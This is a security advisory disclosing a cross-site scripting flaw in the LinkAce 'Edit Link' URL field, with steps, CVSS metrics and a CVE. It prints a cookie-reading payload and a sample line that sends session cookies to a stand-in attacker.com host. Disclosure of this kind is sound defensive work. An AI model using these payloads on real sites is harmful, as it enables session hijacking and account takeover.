Skip to content

Reflected Cross-Site Scripting (XSS) Vulnerability in LinkAce v1.15.5

Moderate
Kovah published GHSA-cjcg-wj4p-pgc5 Dec 27, 2024

Package

LinkAce

Affected versions

< v1.15.5

Patched versions

v1.15.6 (if fixed)

Description

Summary

A reflected cross-site scripting (XSS) vulnerability exists in the LinkAce web application v1.15.5. This issue occurs in the "URL" field of the "Edit Link" module, where user input is not properly sanitized or encoded before being reflected in the HTML response. This allows attackers to inject and execute arbitrary JavaScript in the context of the victim’s browser, leading to potential session hijacking, data theft, and unauthorized actions.

Details

A detailed POC is attached in the pdf for your review.

LinkAce_XSS_Report.pdf

The vulnerability occurs due to improper handling of user input in the "URL" field. The application does not validate or sanitize the input, allowing an attacker to insert JavaScript payloads that are executed when the input is reflected.
Example Payload: javascript:alert(document.cookie)

PoC

Navigate to the "Edit Link" page of LinkAce. In the "URL" field, input the following payload:
javascript
Copy code

javascript:alert(document.cookie)

Click Update Link.
Observe the reflected JavaScript executing in the browser context, when going to All Links-> and clicking on the created link.

Impact

Cookie Theft and Session Hijacking
Attackers can use the document.cookie object to retrieve session cookies from the victim's browser. These cookies are often used to maintain authenticated sessions in the application.
Once stolen, these session cookies can be used to impersonate the victim, gaining unauthorized access to their account.
Example Attack Scenario:

An attacker crafts a malicious URL containing the XSS payload, such as:
javascript
Copy code

javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie)

The victim clicks the link and unknowingly executes the malicious payload.
The payload sends the session cookie to the attacker’s server (https://attacker.com).
The attacker then uses the stolen cookie to log in as the victim, potentially accessing sensitive data, performing actions on their behalf, or even escalating privileges if the victim is an admin.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

CVE ID

CVE-2024-56507

Weaknesses

Credits